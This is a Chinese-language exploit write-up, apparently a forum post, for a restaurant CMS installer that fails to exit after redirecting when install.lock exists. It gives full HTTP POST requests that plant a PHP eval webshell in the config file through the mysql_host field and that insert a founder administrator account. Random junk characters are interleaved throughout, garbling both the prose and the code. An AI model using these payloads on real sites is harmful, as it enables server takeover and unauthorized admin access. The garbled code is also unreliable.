问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。7 t& `* E* a5 V) P2 V8 M
7 w! t6 }. m2 v) B6 m. l1 f
<?php9 P4 f) o: T, }/ W1 D8 B0 H: D
if(file_exists("../install.lock"))+ U1 N! \, {9 |/ T2 T+ R
{
& ^+ l# i$ ?0 R$ T2 o header("Location: ../");//没有退出
" ~3 f. A3 p+ y4 g+ K+ y0 ?5 s, H}
6 S$ Z0 H+ t2 v$ B" u
9 B9 [9 U, e9 a3 Q" ^6 ~( M//echo 'tst';exit;3 `* ~& ]5 I# L+ u. o' q0 \9 w6 \
require_once("init.php");& n# F1 u+ A2 i/ w
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)( x3 P7 R6 j* k4 _
{6 a J2 B, _' T+ F- L F& N
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。4 \3 j! h/ {$ M/ f! x
" ^! N( k" w |9 Y1、getshell(很危险)
# p6 S8 x k! d+ Lif(empty($_REQUEST['step']) || $_REQUEST['step']==1)) u U2 B8 ]5 i& [. n; h
{8 i# M2 e0 Y& [1 ^; L7 R
$smarty->assign("step",1);2 C0 O" H: l- {" U7 R6 D
$smarty->display("index.html");
0 j: N: e$ I g! P# g' n2 o) r6 H}elseif($_REQUEST['step']==2)
- S4 U' c5 r9 i0 j( i5 z8 v. h{
' O7 c0 m9 X) a- J5 L0 H2 C2 l $mysql_host=trim($_POST['mysql_host']);
" g# h/ I: J) s" \0 t $mysql_user=trim($_POST['mysql_user']);
, n, o* p/ ~4 T) g# r $mysql_pwd=trim($_POST['mysql_pwd']);- |. B1 _8 o' P& o; M
$mysql_db=trim($_POST['mysql_db']);
- u/ D% |8 F/ j8 P; y) k $tblpre=trim($_POST['tblpre']);. F3 m& W+ l# R2 v! \$ p
$domain==trim($_POST['domain']);
& z+ E2 F+ M- F) W $str="<?php \r\n";$ \- m* f# b1 X
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";/ a; N" k' x1 ?2 `
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
( h! k7 J7 ?1 v $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";4 m# d3 s+ {( a" j$ x% |7 t
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";: M& u& O# y: X8 x
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
4 x9 b* P& h7 u) U% F8 q $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
$ L1 J" C4 Z" o6 m7 A$ K1 Q5 V $str.='define("DOMAIN","'.$domain.'");'."\r\n";+ h/ Z: ~) \6 h. I, ]4 T
$str.='define("SKINS","default");'."\r\n";5 X0 m) X6 s7 \8 I9 N l: ]
$str.='?>';
. F% j; h8 X# @) e1 \% J( g1 Y file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
! h* F1 z8 r) I) F; q) }! o上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马% p2 g D6 c! E* M
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
% S9 G; r$ D: F% y3 BHost: 192.168.80.129! }8 S m) s7 \% {. K- R
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0! k5 Q1 ?; b$ N& m8 y# M0 W$ a
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
' s8 V% `& o9 M* Q. q& m4 gAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
9 H! {9 z. J. G+ P tAccept-Encoding: gzip, deflate9 ?- z3 c5 Q4 A. N- C* I
Referer: http://192.168.80.129/canting/install/index.php?step=11 O- J6 R! i; }( Y1 k- C1 m2 [4 l
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42. C$ f6 i0 k8 ^# w& L0 L& C
Content-Type: application/x-www-form-urlencoded6 a) V+ r4 Y1 J2 E: u! R
Content-Length: 126; K# l* c5 `% a; T, K
1 L- y& u, l& bmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD" K5 O- ~$ Q0 u' H1 B' O" \
但是这个方法很危险,将导致网站无法运行。
3 T% G* B7 J `! z4 R5 F7 r% q' ^: V* v$ {7 y6 O
2、直接添加管理员
1 E/ t- D) ^ i' x; R5 J1 R8 D& W5 ^7 m- C( ^
elseif($_REQUEST['step']==5)8 W3 F3 b' }. J/ Y5 Z3 i6 P
{
: W9 i8 M; @& {$ h2 J if($_POST)
& @; w' Q4 D* t) m { require_once("../config/config.inc.php");4 h0 I% s" y @2 X7 \
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);3 R( B: L- l& g5 A- Y' b ~6 L: F5 Y
mysql_select_db(MYSQL_DB,$link);
5 e3 T D T+ v+ a mysql_query("SET NAMES ".MYSQL_CHARSET );
, \3 Y1 p+ ~8 ~ mysql_query("SET sql_mode=''");: B' i$ b- c- R; q- I& e# U
" I, `% |( S( B) r! a $adminname=trim($_POST['adminname']);
3 a. \5 H% c$ [ ^/ M6 P" m $pwd1=trim($_POST['pwd1']);
) R& V' @" A; b $pwd2=trim($_POST['pwd2']);
- C* q* c% C8 Z9 S. H( D& q if(empty($adminname))9 p& S) I3 g- ^0 q" B# W& c! m) ^
{( \+ Q- l# U$ m/ F
* h+ Z! f9 t# K) Q
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
3 F2 l+ ~9 f3 [" t exit();# U! k/ }) U) E5 T" E1 F
}3 d' S% }8 z: E: w1 y6 P4 A) @5 a
if(($pwd1!=$pwd2) or empty($pwd1))& u& o6 X y/ W& I) @
{
* ]8 f) Y4 q/ I echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
* x( [6 M5 ^! N+ d1 E* d }
+ v$ s" h0 R6 u) q1 M mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员% w0 C6 @3 L3 D# z* M
}
, _; ]6 C, E! b; j$ B z% V0 z; c这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
1 c7 \+ \$ ?5 K5 v/ tPOST /canting/install/index.php?m=index&step=5 HTTP/1.1: q) |- S3 m8 c( P& M, g O
Host: 192.168.80.129
2 ]0 @3 c/ w" {0 K9 v4 A' b. {7 qUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
* g4 E r& M+ w% |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8; h; W3 V: n7 L: x- D* \
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3$ f' G, l5 c- q: H8 i
Accept-Encoding: gzip, deflate
' c( `7 M7 T7 o3 j8 X+ ~3 c |Referer: http://www.2cto.com /canting/install/index.php?step=1/ G; m# O* |" W1 n; L2 y$ q# w
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
! _/ G" A5 J' R1 n1 \9 g# ~6 ?Content-Type: application/x-www-form-urlencoded3 V& F$ ^" f7 i1 K( z
Content-Length: 46
7 Z/ \, [2 {$ k+ V9 y7 S7 d 4 b7 A& s% @. A
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
! A( s- w0 z1 r! F: O% K. u |